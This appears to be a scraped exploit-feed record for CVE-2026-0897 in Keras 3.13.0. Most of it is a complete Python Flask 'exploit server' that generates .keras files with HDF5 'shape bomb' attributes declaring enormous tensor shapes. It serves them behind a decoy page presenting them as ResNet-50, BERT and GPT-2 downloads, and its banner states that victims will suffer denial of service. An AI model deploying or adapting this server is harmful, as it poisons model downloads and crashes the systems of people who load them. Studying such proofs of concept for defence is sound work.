{“lastseen”:”2026-04-23T17:42:51″,”description”:”This script is a Flask-based web server that distributes .keras machine learning model files, but it is designed in a malicious way for security research\/testing scenarios. The main idea is a denial of service via memory exhaustion, where generated…”,”published”:”2026-04-23T00:00:00″,”modified”:”2026-04-23T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Keras 3.13.0 Malicious ML Model Server HDF5 Shape Bomb”,”source”:””,”references”:””,”id”:”PACKETSTORM:219691″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-0897″],”sourceData”:”==================================================================================================================================\\n | # Title : Keras 3.13.0 Malicious ML Model Server HDF5 Shape Bomb |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/pypi.org\/project\/keras\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This script is a Flask-based web server that distributes .keras machine learning model files, but it is designed in a malicious way for security research\/testing scenarios.\\n The main idea is a Denial of Service (DoS) via memory exhaustion, where generated Keras models contain artificially declared extremely large tensor shapes (HDF5 \u201cshape bombs\u201d). \\n \\t\\t\\t\\t When such a model is loaded, a vulnerable system may attempt to allocate massive amounts of memory, potentially leading to slowdown, crashes, or system instability.\\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n # malicious_model_server.py – CVE-2026-0897 Exploit Server\\n \\n from flask import Flask, send_file, request, jsonify\\n import os\\n import tempfile\\n import zipfile\\n import h5py\\n import json\\n import numpy as np\\n import threading\\n import time\\n \\n app = Flask(__name__)\\n \\n EVIL_SHAPES = {\\n \\”light\\”: (50000, 50000, 100), \\n \\”medium\\”: (100000, 100000, 500), \\n \\”heavy\\”: (500000, 500000, 500), \\n \\”extreme\\”: (1000000, 1000000, 1000000), \\n }\\n \\n class ModelCache:\\n \\”\\”\\”Cache generated malicious models\\”\\”\\”\\n def __init__(self):\\n self.cache = {}\\n self.lock = threading.Lock()\\n \\n def get_or_create(self, bomb_type):\\n with self.lock:\\n if bomb_type not in self.cache:\\n self.cache[bomb_type] = self._create_model(bomb_type)\\n return self.cache[bomb_type]\\n \\n def _create_model(self, bomb_type):\\n shape = EVIL_SHAPES.get(bomb_type, EVIL_SHAPES[\\”medium\\”])\\n \\n temp_dir = tempfile.mkdtemp()\\n model_path = os.path.join(temp_dir, f\\”malicious_{bomb_type}.keras\\”)\\n h5_path = os.path.join(temp_dir, \\”model.weights.h5\\”)\\n with h5py.File(h5_path, \\”w\\”) as f:\\n dataset = f.create_dataset(\\n \\”layers\/dense\/vars\/0\\”,\\n shape=(0,),\\n maxshape=(None,),\\n dtype=\\”float32\\”,\\n data=np.array([], dtype=\\”float32\\”)\\n )\\n dataset.attrs[\\”DECLARED_SHAPE\\”] = shape\\n dataset.attrs[\\”TARGET\\”] = f\\”shape_bomb_{bomb_type}\\”\\n \\n config = {\\n \\”class_name\\”: \\”Sequential\\”,\\n \\”config\\”: {\\n \\”name\\”: \\”sequential\\”,\\n \\”trainable\\”: True,\\n \\”layers\\”: [\\n {\\n \\”class_name\\”: \\”Dense\\”,\\n \\”config\\”: {\\”units\\”: 10, \\”activation\\”: \\”relu\\”}\\n }\\n ]\\n },\\n \\”keras_version\\”: \\”3.0.0\\”,\\n \\”backend\\”: \\”tensorflow\\”\\n }\\n with zipfile.ZipFile(model_path, \\”w\\”) as zf:\\n zf.write(h5_path, \\”model.weights.h5\\”)\\n zf.writestr(\\”config.json\\”, json.dumps(config))\\n \\n return model_path\\n \\n model_cache = ModelCache()\\n \\n @app.route(‘\/’)\\n def index():\\n return ”’\\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003eModel Repository – ML Models Hub by indoushka\\u003c\/title\\u003e\\n \\u003cstyle\\u003e\\n body { font-family: Arial; margin: 40px; }\\n .model { margin: 20px 0; padding: 10px; border: 1px solid #ccc; }\\n .model h3 { margin: 0 0 10px 0; }\\n .warning { color: red; }\\n \\u003c\/style\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch1\\u003e ML Model Repository\\u003c\/h1\\u003e\\n \\u003cp\\u003eDownload pre-trained models for your ML pipeline:\\u003c\/p\\u003e\\n \\n \\u003cdiv class=\\”model\\”\\u003e\\n \\u003ch3\\u003eResNet-50 (ImageNet)\\u003c\/h3\\u003e\\n \\u003cp\\u003eState-of-the-art image classification model\\u003c\/p\\u003e\\n \\u003ca href=\\”\/model.keras?type=light\\”\\u003eDownload (light)\\u003c\/a\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cdiv class=\\”model\\”\\u003e\\n \\u003ch3\\u003eBERT Base (NLP)\\u003c\/h3\\u003e\\n \\u003cp\\u003ePre-trained language model\\u003c\/p\\u003e\\n \\u003ca href=\\”\/model.keras?type=medium\\”\\u003eDownload (medium)\\u003c\/a\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cdiv class=\\”model\\”\\u003e\\n \\u003ch3\\u003eGPT-2 Small\\u003c\/h3\\u003e\\n \\u003cp\\u003eText generation model\\u003c\/p\\u003e\\n \\u003ca href=\\”\/model.keras?type=heavy\\”\\u003eDownload (heavy)\\u003c\/a\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cdiv class=\\”model warning\\”\\u003e\\n \\u003ch3\\u003eLatest Model (Experimental)\\u003c\/h3\\u003e\\n \\u003cp\\u003eCutting-edge architecture with 1T parameters\\u003c\/p\\u003e\\n \\u003ca href=\\”\/model.keras?type=extreme\\”\\u003eDownload (extreme)\\u003c\/a\\u003e\\n \\u003c\/div\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n ”’\\n \\n @app.route(‘\/model.keras’)\\n def serve_model():\\n bomb_type = request.args.get(‘type’, ‘medium’)\\n \\n if bomb_type not in EVIL_SHAPES:\\n bomb_type = ‘medium’\\n \\n model_path = model_cache.get_or_create(bomb_type)\\n \\n shape = EVIL_SHAPES[bomb_type]\\n memory_gb = (shape[0] * shape[1] * shape[2] * 4) \/ (1024**3)\\n \\n response = send_file(\\n model_path,\\n as_attachment=True,\\n download_name=f\\”model_{bomb_type}.keras\\”\\n )\\n \\n response.headers[‘X-Model-Shape’] = str(shape)\\n response.headers[‘X-Memory-Impact-GB’] = str(memory_gb)\\n \\n return response\\n \\n @app.route(‘\/api\/status’)\\n def status():\\n \\”\\”\\”API endpoint for attackers to check server status\\”\\”\\”\\n return jsonify({\\n ‘status’: ‘active’,\\n ‘vulnerable_versions’: ‘3.0.0 – 3.13.0’,\\n ‘available_bombs’: list(EVIL_SHAPES.keys()),\\n ‘total_attacks’: len(model_cache.cache)\\n })\\n \\n if __name__ == ‘__main__’:\\n print(\\”\\”\\”\\n ========================================\\n CVE-2026-0897 – Malicious Model Server\\n HDF5 Shape Bomb Distribution\\n ========================================\\n \\n [!] WARNING: This server distributes malicious models!\\n [*] Listening on http:\/\/0.0.0.0:8080\\n [*] Victims downloading models will experience DoS\\n \\n \\”\\”\\”)\\n app.run(host=’0.0.0.0′, port=8080, debug=False, threaded=True)\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219691″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219691\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-23T17:42:51″,”description”:”This script is a Flask-based web server that distributes .keras machine learning model files, but it is designed in a malicious way for security research\/testing…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-48982","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n